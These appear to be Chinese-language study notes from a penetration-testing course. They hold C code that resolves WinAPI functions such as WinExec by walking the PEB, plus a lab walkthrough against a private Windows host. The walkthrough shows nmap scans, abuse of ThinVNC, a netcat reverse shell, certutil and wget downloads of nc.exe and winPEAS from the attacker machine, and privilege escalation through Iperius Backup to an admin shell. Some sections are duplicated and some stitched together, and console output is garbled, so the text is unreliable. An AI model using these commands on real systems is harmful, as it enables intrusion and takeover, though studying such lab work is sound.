} LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32;
typedef struct _LDR_DATA_TABLE_ENTRY64
{
LIST_ENTRY64 InLoadOrderLinks;
LIST_ENTRY64 InMemoryOrderModuleList;
LIST_ENTRY64 InInitializationOrderModuleList;
ULONG64 DllBase;
ULONG64 EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union
{
LIST_ENTRY64 HashLinks;
ULONG64 SectionPointer;
};
ULONG CheckSum;
union
{
ULONG TimeDateStamp;
ULONG64 LoadedImports;
};
ULONG64 EntryPointActivationContext;
ULONG64 PatchInformation;
} LDR_DATA_TABLE_ENTRY64, * PLDR_DATA_TABLE_ENTRY64;
size_t getWinAPI(size_t module, const char* in_funcName)
{
#if defined _WIN64
PIMAGE_NT_HEADERS64 ntHeaders = (PIMAGE_NT_HEADERS64)(module + ((PIMAGE_DOS_HEADER)module)->e_lfanew);
#else
PIMAGE_NT_HEADERS32 ntHeaders = (PIMAGE_NT_HEADERS32)(module + ((PIMAGE_DOS_HEADER)module)->e_lfanew);
#endif
PIMAGE_DATA_DIRECTORY impDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
PIMAGE_EXPORT_DIRECTORY ied = (PIMAGE_EXPORT_DIRECTORY)(module + impDir->VirtualAddress);
if (!ied->AddressOfNames) return 0;
DWORD* vaNameArr = (DWORD *)(module + ied->AddressOfNames);
WORD* vaOrdArr = (WORD *)(module + ied->AddressOfNameOrdinals);
DWORD* vaFuncArr = (DWORD *)(module + ied->AddressOfFunctions);
for (DWORD i = 0; i < ied->NumberOfNames; i++)
if (0 == strcmpi(in_funcName, (char *)(module + vaNameArr[i])))
return module + vaFuncArr[vaOrdArr[i]];
return (size_t)0;
}
size_t blindFetchWinAPI(const char* funcName) {
#ifdef _WIN64
PPEB64 pPEB = (PPEB64)__readgsqword(0x60);
PLIST_ENTRY header = &(pPEB->Ldr->InMemoryOrderModuleList);
PLIST_ENTRY curr = header->Flink;
for (; curr != header; curr = curr->Flink) {
LDR_DATA_TABLE_ENTRY64 *data = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY64, InMemoryOrderModuleList);
size_t pFunc = getWinAPI(data->DllBase, funcName);
if (pFunc) return pFunc;
}
#else
PPEB32 pPEB = (PPEB32)__readfsdword(0x30);
PLIST_ENTRY header = &(pPEB->Ldr->InMemoryOrderModuleList);
PLIST_ENTRY curr = header->Flink;
for (; curr != header; curr = curr->Flink) {
LDR_DATA_TABLE_ENTRY32 *data = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY32, InMemoryOrderModuleList);
size_t pFunc = getWinAPI(data->DllBase, funcName);
if (pFunc) return pFunc;
}
#endif
return (size_t)0;
}
int main() {
printf("%p\n", blindFetchWinAPI("WinExec"));
return 0;
}
aaa
#else
PPEB32 pPEB = (PPEB32)__readfsdword(0x30);
PLIST_ENTRY header = &(pPEB->Ldr->InMemoryOrderModuleList);
PLIST_ENTRY curr = header->Flink;
for (; curr != header; curr = curr->Flink) {
LDR_DATA_TABLE_ENTRY32 *data = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY32, InMemoryOrderModuleList);
size_t pFunc = getWinAPI(data->DllBase, funcName);
if (pFunc) return pFunc;
}
aaa
Lab#2_parseDynamicAPIs.c對應12頁下面:
C:\Users\exploit\Desktop\18HR-ReversingNinja\PE Basic
λ gcc -m32 Lab#2_parseDynamicAPIs.c -o b.exe
C:\Users\exploit\Desktop\18HR-ReversingNinja\PE Basic
λ b.exe
current node: b.exe @ 002c0000
current node: ntdll.dll @ 77b30000
current node: KERNEL32.DLL @ 75c30000
addrOfNames: 75cc4674
addrOfNamesOrd: 75cc5f90
AddressOfFunctions: 75cc2d58
found API: AcquireSRWLockExclusive
found API: AcquireSRWLockShared
found API: ActivateActCtx
found API: ActivateActCtxWorker
...
found API: LoadEnclaveData
found API: LoadLibraryA
LoadLibraryA() should at 75c50bd0
ida用下圖直接load exe檔案:
C:\Users\exploit\Desktop\18HR-ReversingNinja\IDA Basic\BabyFirst.exe
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# nmap -p- 172.16.1.112
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 23:37 EDT
Nmap scan report for 172.16.1.112
Host is up (0.063s latency).
Not shown: 65522 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 28.67 seconds
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# nmap -p3389 -sC -sV -O -A 172.16.1.112
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 23:38 EDT
Nmap scan report for 172.16.1.112
Host is up (0.015s latency).
PORT STATE SERVICE VERSION
3389/tcp open ms-wbt-server?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Content-Type: text/html
| Content-Length: 177
| Connection: Keep-Alive
| <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL nice%20ports%2C/Tri%6Eity.txt%2ebak was not found on this server.<P></BODY></HTML>
| GetRequest:
| HTTP/1.1 401 Access Denied
| Content-Type: text/html
| Content-Length: 144
| Connection: Keep-Alive
| WWW-Authenticate: Digest realm="ThinVNC", qop="auth", nonce="4I4ihm/55UCI1zECb/nlQA==", opaque="3WRbb2HCPYbAJLQID7pshR55ixhDf859iP"
|_ <HTML><HEAD><TITLE>401 Access Denied</TITLE></HEAD><BODY><H1>401 Access Denied</H1>The requested URL requires authorization.<P></BODY></HTML>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3389-TCP:V=7.93%I=7%D=3/17%Time=64153241%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,179,"HTTP/1\.1\x20401\x20Access\x20Denied\r\nContent-Type:\x20
SF:text/html\r\nContent-Length:\x20144\r\nConnection:\x20Keep-Alive\r\nWWW
SF:-Authenticate:\x20Digest\x20realm=\"ThinVNC\",\x20qop=\"auth\",\x20nonc
SF:e=\"4I4ihm/55UCI1zECb/nlQA==\",\x20opaque=\"3WRbb2HCPYbAJLQID7pshR55ixh
SF:Df859iP\"\r\n\r\n<HTML><HEAD><TITLE>401\x20Access\x20Denied</TITLE></HE
SF:AD><BODY><H1>401\x20Access\x20Denied</H1>The\x20requested\x20URL\x20\x2
SF:0requires\x20authorization\.<P></BODY></HTML>\r\n")%r(FourOhFourRequest
SF:,111,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Type:\x20text/html\r\
SF:nContent-Length:\x20177\r\nConnection:\x20Keep-Alive\r\n\r\n<HTML><HEAD
SF:><TITLE>404\x20Not\x20Found</TITLE></HEAD><BODY><H1>404\x20Not\x20Found
SF:</H1>The\x20requested\x20URL\x20nice%20ports%2C/Tri%6Eity\.txt%2ebak\x2
SF:0was\x20not\x20found\x20on\x20this\x20server\.<P></BODY></HTML>\r\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2016 (94%), Microsoft Windows 10 1607 (90%), Microsoft Windows Server 2012 (89%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (89%), Microsoft Windows Server 2012 R2 (89%), Microsoft Windows Server 2008 R2 (88%), Microsoft Windows 10 1511 - 1607 (86%), Microsoft Windows 7 Professional (86%), Microsoft Windows 7 SP1 (85%), Tomato 1.27 - 1.28 (Linux 2.4.20) (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 3389/tcp)
HOP RTT ADDRESS
1 62.57 ms 192.168.200.1
2 12.16 ms 172.16.1.112
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 108.21 seconds
開啟burp suite:
因為3389有看到thinvnc字樣,所以看一下,只要打個.
,就可以自己連自己:
想辦法叫出cmd,thinvnc這鬼東西真是超難用:
kali找一下reverse shell的檔案:
把windows用的nc複製過來:
下圖是windows版wget的用法,讓靶機windows下載上圖的nc.exe,方便reverse shell:
看看windows的話reverse shell要怎麼下:
同樣先監聽:
┌──(root㉿kali)-[~]
└─# nc -lvnp 8073
listening on [any] 8073 ...
把剛剛的指令複製貼上:
彈回:
┌──(root㉿kali)-[~]
└─# nc -lvnp 8073
listening on [any] 8073 ...
connect to [192.168.200.7] from (UNKNOWN) [172.16.1.112] 49675
Microsoft Windows [▒▒▒▒ 10.0.14393]
(c) 2016 Microsoft Corporation. ▒ۧ@▒v▒Ҧ▒▒A▒ëO▒d▒@▒▒▒v▒Q▒C
C:\Users\tinvnc>
getshell後,就是想辦法提權,真正的windows版wget:
複製:
一樣讓靶機下載下來:
C:\Users\tinvnc>certutil.exe -urlcache -f http://192.168.200.7/wget.exe wget.exe
certutil.exe -urlcache -f http://192.168.200.7/wget.exe wget.exe
**** ▒u▒W ****
CertUtil: -URLCache ▒R▒O▒▒▒\▒▒▒▒▒C
C:\Users\tinvnc>dir
dir
▒Ϻа▒ C ▒▒▒▒▒ϺШS▒▒▒▒▒ҡC
▒ϺаϧǸ▒: D0ED-0194
C:\Users\tinvnc ▒▒▒ؿ▒
2023/03/18 ▒U▒▒ 12:26 <DIR> .
2023/03/18 ▒U▒▒ 12:26 <DIR> ..
2022/05/28 ▒U▒▒ 01:01 <DIR> Contacts
2022/05/28 ▒U▒▒ 01:03 <DIR> Desktop
2022/05/28 ▒U▒▒ 01:01 <DIR> Documents
2022/05/28 ▒U▒▒ 01:02 <DIR> Downloads
2022/05/28 ▒U▒▒ 01:01 <DIR> Favorites
2022/05/28 ▒U▒▒ 01:01 <DIR> Links
2022/05/28 ▒U▒▒ 01:01 <DIR> Music
2023/03/18 ▒U▒▒ 12:14 59,392 nc.exe
2022/05/28 ▒U▒▒ 01:01 <DIR> Pictures
2022/05/28 ▒U▒▒ 01:01 <DIR> Saved Games
2022/05/28 ▒U▒▒ 01:01 <DIR> Searches
2022/05/28 ▒U▒▒ 01:01 <DIR> Videos
2023/03/18 ▒U▒▒ 12:26 308,736 wget.exe
2 ▒▒▒ɮ▒ 368,128 ▒줸▒▒
13 ▒ӥؿ▒ 124,339,032,064 ▒줸▒եi▒▒
下載windows專用枚舉工具:
下載windows專用枚舉工具:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe
--2023-03-18 00:31:19-- https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe
Resolving github.com (github.com)... 20.27.177.113
Connecting to github.com (github.com)|20.27.177.113|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://github.com/carlospolop/PEASS-ng/releases/download/20230312/winPEASany_ofs.exe [following]
--2023-03-18 00:31:20-- https://github.com/carlospolop/PEASS-ng/releases/download/20230312/winPEASany_ofs.exe
Reusing existing connection to github.com:443.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/165548191/d4b61227-dae6-43d4-bd06-2d71672d9f8c?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230318%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230318T043118Z&X-Amz-Expires=300&X-Amz-Signature=7cb6cdd41dda0ba80c1b3b9206ad1c0156a2762ee9597426e8a5f2f07fdc4c01&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=165548191&response-content-disposition=attachment%3B%20filename%3DwinPEASany_ofs.exe&response-content-type=application%2Foctet-stream [following]
--2023-03-18 00:31:20-- https://objects.githubusercontent.com/github-production-release-asset-2e65be/165548191/d4b61227-dae6-43d4-bd06-2d71672d9f8c?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230318%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230318T043118Z&X-Amz-Expires=300&X-Amz-Signature=7cb6cdd41dda0ba80c1b3b9206ad1c0156a2762ee9597426e8a5f2f07fdc4c01&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=165548191&response-content-disposition=attachment%3B%20filename%3DwinPEASany_ofs.exe&response-content-type=application%2Foctet-stream
Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.108.133, ...
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1834496 (1.7M) [application/octet-stream]
Saving to: ‘winPEASany_ofs.exe’
winPEASany_ofs.exe 100%[===============================>] 1.75M 4.51MB/s in 0.4s
2023-03-18 00:31:21 (4.51 MB/s) - ‘winPEASany_ofs.exe’ saved [1834496/1834496]
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# mv winPEASany_ofs.exe winpeas.exe
讓靶機下載下來:
C:\Users\tinvnc>wget http://192.168.200.7/winpeas.exe
wget http://192.168.200.7/winpeas.exe
--12:34:56-- http://192.168.200.7/winpeas.exe
=> `winpeas.exe'
Connecting to 192.168.200.7:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1,834,496 [application/x-msdos-program]
0K .......... .......... .......... .......... .......... 2% 1.04 MB/s
50K .......... .......... .......... .......... .......... 5% 3.05 MB/s
100K .......... .......... .......... .......... .......... 8% 3.26 MB/s
150K .......... .......... .......... .......... .......... 11% 3.05 MB/s
200K .......... .......... .......... .......... .......... 13% 3.26 MB/s
250K .......... .......... .......... .......... .......... 16% 3.05 MB/s
300K .......... .......... .......... .......... .......... 19% 3.05 MB/s
350K .......... .......... .......... .......... .......... 22% 48.83 MB/s
400K .......... .......... .......... .......... .......... 25% 3.05 MB/s
450K .......... .......... .......... .......... .......... 27% 3.26 MB/s
500K .......... .......... .......... .......... .......... 30% 3.05 MB/s
550K .......... .......... .......... .......... .......... 33% 3.26 MB/s
600K .......... .......... .......... .......... .......... 36% 48.83 MB/s
650K .......... .......... .......... .......... .......... 39% 3.05 MB/s
700K .......... .......... .......... .......... .......... 41% 3.05 MB/s
750K .......... .......... .......... .......... .......... 44% 3.26 MB/s
800K .......... .......... .......... .......... .......... 47% 48.83 MB/s
850K .......... .......... .......... .......... .......... 50% 3.05 MB/s
900K .......... .......... .......... .......... .......... 53% 3.05 MB/s
950K .......... .......... .......... .......... .......... 55% 3.05 MB/s
1000K .......... .......... .......... .......... .......... 58% 48.83 MB/s
1050K .......... .......... .......... .......... .......... 61% 2.87 MB/s
1100K .......... .......... .......... .......... .......... 64% 3.05 MB/s
1150K .......... .......... .......... .......... .......... 66% 48.83 MB/s
1200K .......... .......... .......... .......... .......... 69% 3.05 MB/s
1250K .......... .......... .......... .......... .......... 72% 3.05 MB/s
1300K .......... .......... .......... .......... .......... 75% 48.83 MB/s
1350K .......... .......... .......... .......... .......... 78% 3.05 MB/s
1400K .......... .......... .......... .......... .......... 80% 3.26 MB/s
1450K .......... .......... .......... .......... .......... 83% 3.05 MB/s
1500K .......... .......... .......... .......... .......... 86% 48.83 MB/s
1550K .......... .......... .......... .......... .......... 89% 3.26 MB/s
1600K .......... .......... .......... .......... .......... 92% 3.05 MB/s
1650K .......... .......... .......... .......... .......... 94% 3.05 MB/s
1700K .......... .......... .......... .......... .......... 97% 48.83 MB/s
1750K .......... .......... .......... .......... . 100% 2.53 MB/s
12:34:56 (3.70 MB/s) - `winpeas.exe' saved [1834496/1834496]
C:\Users\tinvnc>dir
dir
▒Ϻа▒ C ▒▒▒▒▒ϺШS▒▒▒▒▒ҡC
▒ϺаϧǸ▒: D0ED-0194
C:\Users\tinvnc ▒▒▒ؿ▒
2023/03/18 ▒U▒▒ 12:34 <DIR> .
2023/03/18 ▒U▒▒ 12:34 <DIR> ..
2022/05/28 ▒U▒▒ 01:01 <DIR> Contacts
2022/05/28 ▒U▒▒ 01:03 <DIR> Desktop
2022/05/28 ▒U▒▒ 01:01 <DIR> Documents
2022/05/28 ▒U▒▒ 01:02 <DIR> Downloads
2022/05/28 ▒U▒▒ 01:01 <DIR> Favorites
2022/05/28 ▒U▒▒ 01:01 <DIR> Links
2022/05/28 ▒U▒▒ 01:01 <DIR> Music
2023/03/18 ▒U▒▒ 12:14 59,392 nc.exe
2022/05/28 ▒U▒▒ 01:01 <DIR> Pictures
2022/05/28 ▒U▒▒ 01:01 <DIR> Saved Games
2022/05/28 ▒U▒▒ 01:01 <DIR> Searches
2022/05/28 ▒U▒▒ 01:01 <DIR> Videos
2023/03/18 ▒U▒▒ 12:26 308,736 wget.exe
2023/03/12 ▒U▒▒ 12:31 1,834,496 winpeas.exe
3 ▒▒▒ɮ▒ 2,202,624 ▒줸▒▒
13 ▒ӥؿ▒ 124,335,992,832 ▒줸▒եi▒▒
執行:(winpeas的執行結果一樣太長所以不貼)
看看目前的執行程式:
C:\Users\tinvnc>tasklist
tasklist
▒M▒▒▒W▒▒ PID ▒u▒@▒▒▒q▒W▒▒ ▒u▒@▒▒▒q # RAM▒ϥζq
========================= ======== ================ =========== ============
System Idle Process 0 Services 0 4 K
System 4 Services 0 140 K
smss.exe 316 Services 0 1,188 K
csrss.exe 416 Services 0 4,220 K
csrss.exe 500 Console 1 7,012 K
wininit.exe 524 Services 0 5,148 K
winlogon.exe 556 Console 1 9,044 K
services.exe 636 Services 0 8,080 K
lsass.exe 652 Services 0 13,536 K
svchost.exe 744 Services 0 19,472 K
svchost.exe 816 Services 0 10,460 K
dwm.exe 904 Console 1 56,152 K
svchost.exe 936 Services 0 50,936 K
svchost.exe 944 Services 0 11,736 K
svchost.exe 1008 Services 0 23,652 K
svchost.exe 452 Services 0 19,448 K
svchost.exe 764 Services 0 9,680 K
svchost.exe 1220 Services 0 19,904 K
svchost.exe 1280 Services 0 16,356 K
svchost.exe 1356 Services 0 20,020 K
svchost.exe 1364 Services 0 7,336 K
VSSVC.exe 1408 Services 0 7,892 K
svchost.exe 1816 Services 0 6,560 K
spoolsv.exe 1904 Services 0 15,604 K
svchost.exe 1600 Services 0 17,456 K
svchost.exe 1884 Services 0 20,320 K
MsMpEng.exe 1964 Services 0 86,220 K
svchost.exe 1992 Services 0 7,996 K
RuntimeBroker.exe 3248 Console 1 20,356 K
sihost.exe 3284 Console 1 19,508 K
svchost.exe 3316 Console 1 19,496 K
taskhostw.exe 3344 Console 1 15,244 K
explorer.exe 3652 Console 1 84,224 K
ShellExperienceHost.exe 3876 Console 1 57,128 K
SearchUI.exe 3960 Console 1 53,104 K
ThinVnc.exe 3192 Console 1 29,664 K
msdtc.exe 3852 Services 0 9,396 K
Taskmgr.exe 436 Console 1 37,820 K
cmd.exe 4124 Console 1 3,300 K
conhost.exe 4752 Console 1 22,888 K
svchost.exe 4628 Services 0 7,196 K
nc.exe 2528 Console 1 4,548 K
cmd.exe 2876 Console 1 3,964 K
tasklist.exe 2000 Console 1 7,920 K
WmiPrvSE.exe 4136 Services 0 8,504 K
要注意msdtc.exe
。另外的方式:
C:\Users\tinvnc>cd /
cd /
C:\>dir
dir
▒Ϻа▒ C ▒▒▒▒▒ϺШS▒▒▒▒▒ҡC
▒ϺаϧǸ▒: D0ED-0194
C:\ ▒▒▒ؿ▒
2016/07/16 ▒U▒▒ 09:23 <DIR> PerfLogs
2016/11/23 ▒W▒▒ 07:19 <DIR> Program Files
2022/05/28 ▒U▒▒ 01:43 <DIR> Program Files (x86)
2022/05/28 ▒U▒▒ 01:01 <DIR> Users
2022/05/28 ▒U▒▒ 12:56 <DIR> Windows
0 ▒▒▒ɮ▒ 0 ▒줸▒▒
5 ▒ӥؿ▒ 124,335,771,648 ▒줸▒եi▒▒
C:\>cd "program files"
cd "program files"
C:\Program Files>dir
dir
▒Ϻа▒ C ▒▒▒▒▒ϺШS▒▒▒▒▒ҡC
▒ϺаϧǸ▒: D0ED-0194
C:\Program Files ▒▒▒ؿ▒
2016/11/23 ▒W▒▒ 07:19 <DIR> .
2016/11/23 ▒W▒▒ 07:19 <DIR> ..
2016/07/16 ▒U▒▒ 09:23 <DIR> Common Files
2016/11/23 ▒W▒▒ 07:09 <DIR> Internet Explorer
2016/11/23 ▒W▒▒ 06:40 <DIR> Windows Defender
2016/11/23 ▒W▒▒ 07:09 <DIR> Windows Mail
2016/11/23 ▒W▒▒ 07:09 <DIR> Windows Media Player
2016/07/16 ▒U▒▒ 09:23 <DIR> Windows Multimedia Platform
2016/07/16 ▒U▒▒ 09:23 <DIR> Windows NT
2016/11/23 ▒W▒▒ 07:09 <DIR> Windows Photo Viewer
2016/07/16 ▒U▒▒ 09:23 <DIR> Windows Portable Devices
2016/07/16 ▒U▒▒ 09:23 <DIR> WindowsPowerShell
0 ▒▒▒ɮ▒ 0 ▒줸▒▒
12 ▒ӥؿ▒ 124,335,771,648 ▒줸▒եi▒▒
C:\Program Files>cd ..
cd ..
C:\>cd "program files(x86)"
cd "program files(x86)"
▒t▒Χ䤣▒▒▒w▒▒▒▒|▒C
C:\>cd "program files (x86)"
cd "program files (x86)"
C:\Program Files (x86)>dir
dir
▒Ϻа▒ C ▒▒▒▒▒ϺШS▒▒▒▒▒ҡC
▒ϺаϧǸ▒: D0ED-0194
C:\Program Files (x86) ▒▒▒ؿ▒
2022/05/28 ▒U▒▒ 01:43 <DIR> .
2022/05/28 ▒U▒▒ 01:43 <DIR> ..
2016/07/16 ▒U▒▒ 09:23 <DIR> Common Files
2016/11/23 ▒W▒▒ 07:09 <DIR> Internet Explorer
2022/05/28 ▒U▒▒ 01:43 <DIR> Iperius Backup
2016/07/16 ▒U▒▒ 09:23 <DIR> Microsoft.NET
2016/11/23 ▒W▒▒ 06:40 <DIR> Windows Defender
2016/11/23 ▒W▒▒ 07:09 <DIR> Windows Mail
2016/11/23 ▒W▒▒ 07:09 <DIR> Windows Media Player
2016/07/16 ▒U▒▒ 09:23 <DIR> Windows Multimedia Platform
2016/07/16 ▒U▒▒ 09:23 <DIR> Windows NT
2016/11/23 ▒W▒▒ 07:09 <DIR> Windows Photo Viewer
2016/07/16 ▒U▒▒ 09:23 <DIR> Windows Portable Devices
2016/07/16 ▒U▒▒ 09:23 <DIR> WindowsPowerShell
0 ▒▒▒ɮ▒ 0 ▒줸▒▒
14 ▒ӥؿ▒ 124,335,771,648 ▒줸▒եi▒▒
C:\Program Files (x86)>cd "Iperius Backup"
cd "Iperius Backup"
C:\Program Files (x86)\Iperius Backup>dir
dir
▒Ϻа▒ C ▒▒▒▒▒ϺШS▒▒▒▒▒ҡC
▒ϺаϧǸ▒: D0ED-0194
C:\Program Files (x86)\Iperius Backup ▒▒▒ؿ▒
2022/05/28 ▒U▒▒ 01:43 <DIR> .
2022/05/28 ▒U▒▒ 01:43 <DIR> ..
2019/04/16 ▒U▒▒ 05:55 1,338,504 complib.dll
2019/05/11 ▒U▒▒ 06:05 69,393,648 Iperius.exe
2019/05/11 ▒U▒▒ 06:05 9,575,696 IperiusService.exe
2019/04/16 ▒U▒▒ 05:55 48,060 License_Eng.rtf
2022/05/28 ▒U▒▒ 01:43 5,633 unins000.dat
2022/05/28 ▒U▒▒ 01:43 1,244,952 unins000.exe
2022/05/28 ▒U▒▒ 01:43 22,831 unins000.msg
2017/02/06 ▒U▒▒ 06:48 386,744 UninstallerEx.exe
8 ▒▒▒ɮ▒ 82,016,068 ▒줸▒▒
2 ▒ӥؿ▒ 124,335,669,248 ▒줸▒եi▒▒
C:\Program Files (x86)\Iperius Backup>Iperius.exe
Iperius.exe
總之Iperius很可疑,先執行它:
打開:
照以下順序操作:
隨便選:
這裡也是隨便選:
也是隨便選:
這裡是重點:
外部文件的內容如下:
注意上面應該改成tinvnc,儲存如下:
反藍後右鍵,按下圖紅線處:
最瞎的地方是,即使不是管理員,還是可以用管理員權限執行任意檔案:
反彈,而且是管理員權限:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# nc -lvnp 8074
listening on [any] 8074 ...
connect to [192.168.200.7] from (UNKNOWN) [172.16.1.112] 49679
Microsoft Windows [▒▒▒▒ 10.0.14393]
(c) 2016 Microsoft Corporation. ▒ۧ@▒v▒Ҧ▒▒A▒ëO▒d▒@▒▒▒v▒Q▒C
C:\Users\tinvnc>
]]>┌──(root㉿kali)-[/home/kali/PT_day3]
└─# nmap -p- 172.16.1.112
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 23:37 EDT
Nmap scan report for 172.16.1.112
Host is up (0.063s latency).
Not shown: 65522 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 28.67 seconds
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# nmap -p3389 -sC -sV -O -A 172.16.1.112
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 23:38 EDT
Nmap scan report for 172.16.1.112
Host is up (0.015s latency).
PORT STATE SERVICE VERSION
3389/tcp open ms-wbt-server?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Content-Type: text/html
| Content-Length: 177
| Connection: Keep-Alive
| <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL nice%20ports%2C/Tri%6Eity.txt%2ebak was not found on this server.<P></BODY></HTML>
| GetRequest:
| HTTP/1.1 401 Access Denied
| Content-Type: text/html
| Content-Length: 144
| Connection: Keep-Alive
| WWW-Authenticate: Digest realm="ThinVNC", qop="auth", nonce="4I4ihm/55UCI1zECb/nlQA==", opaque="3WRbb2HCPYbAJLQID7pshR55ixhDf859iP"
|_ <HTML><HEAD><TITLE>401 Access Denied</TITLE></HEAD><BODY><H1>401 Access Denied</H1>The requested URL requires authorization.<P></BODY></HTML>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3389-TCP:V=7.93%I=7%D=3/17%Time=64153241%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,179,"HTTP/1\.1\x20401\x20Access\x20Denied\r\nContent-Type:\x20
SF:text/html\r\nContent-Length:\x20144\r\nConnection:\x20Keep-Alive\r\nWWW
SF:-Authenticate:\x20Digest\x20realm=\"ThinVNC\",\x20qop=\"auth\",\x20nonc
SF:e=\"4I4ihm/55UCI1zECb/nlQA==\",\x20opaque=\"3WRbb2HCPYbAJLQID7pshR55ixh
SF:Df859iP\"\r\n\r\n<HTML><HEAD><TITLE>401\x20Access\x20Denied</TITLE></HE
SF:AD><BODY><H1>401\x20Access\x20Denied</H1>The\x20requested\x20URL\x20\x2
SF:0requires\x20authorization\.<P></BODY></HTML>\r\n")%r(FourOhFourRequest
SF:,111,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Type:\x20text/html\r\
SF:nContent-Length:\x20177\r\nConnection:\x20Keep-Alive\r\n\r\n<HTML><HEAD
SF:><TITLE>404\x20Not\x20Found</TITLE></HEAD><BODY><H1>404\x20Not\x20Found
SF:</H1>The\x20requested\x20URL\x20nice%20ports%2C/Tri%6Eity\.txt%2ebak\x2
SF:0was\x20not\x20found\x20on\x20this\x20server\.<P></BODY></HTML>\r\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2016 (94%), Microsoft Windows 10 1607 (90%), Microsoft Windows Server 2012 (89%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (89%), Microsoft Windows Server 2012 R2 (89%), Microsoft Windows Server 2008 R2 (88%), Microsoft Windows 10 1511 - 1607 (86%), Microsoft Windows 7 Professional (86%), Microsoft Windows 7 SP1 (85%), Tomato 1.27 - 1.28 (Linux 2.4.20) (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 3389/tcp)
HOP RTT ADDRESS
1 62.57 ms 192.168.200.1
2 12.16 ms 172.16.1.112
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 108.21 seconds
開啟burp suite:
因為3389有看到thinvnc字樣,所以看一下,只要打個.
,就可以自己連自己:
想辦法叫出cmd,thinvnc這鬼東西真是超難用:
kali找一下reverse shell的檔案:
把windows用的nc複製過來:
下圖是windows版wget的用法,讓靶機windows下載上圖的nc.exe,方便reverse shell:
看看windows的話reverse shell要怎麼下:
同樣先監聽:
┌──(root㉿kali)-[~]
└─# nc -lvnp 8073
listening on [any] 8073 ...
把剛剛的指令複製貼上:
彈回:
┌──(root㉿kali)-[~]
└─# nc -lvnp 8073
listening on [any] 8073 ...
connect to [192.168.200.7] from (UNKNOWN) [172.16.1.112] 49675
Microsoft Windows [▒▒▒▒ 10.0.14393]
(c) 2016 Microsoft Corporation. ▒ۧ@▒v▒Ҧ▒▒A▒ëO▒d▒@▒▒▒v▒Q▒C
C:\Users\tinvnc>
getshell後,就是想辦法提權,真正的windows版wget:
複製:
一樣讓靶機下載下來:
C:\Users\tinvnc>certutil.exe -urlcache -f http://192.168.200.7/wget.exe wget.exe
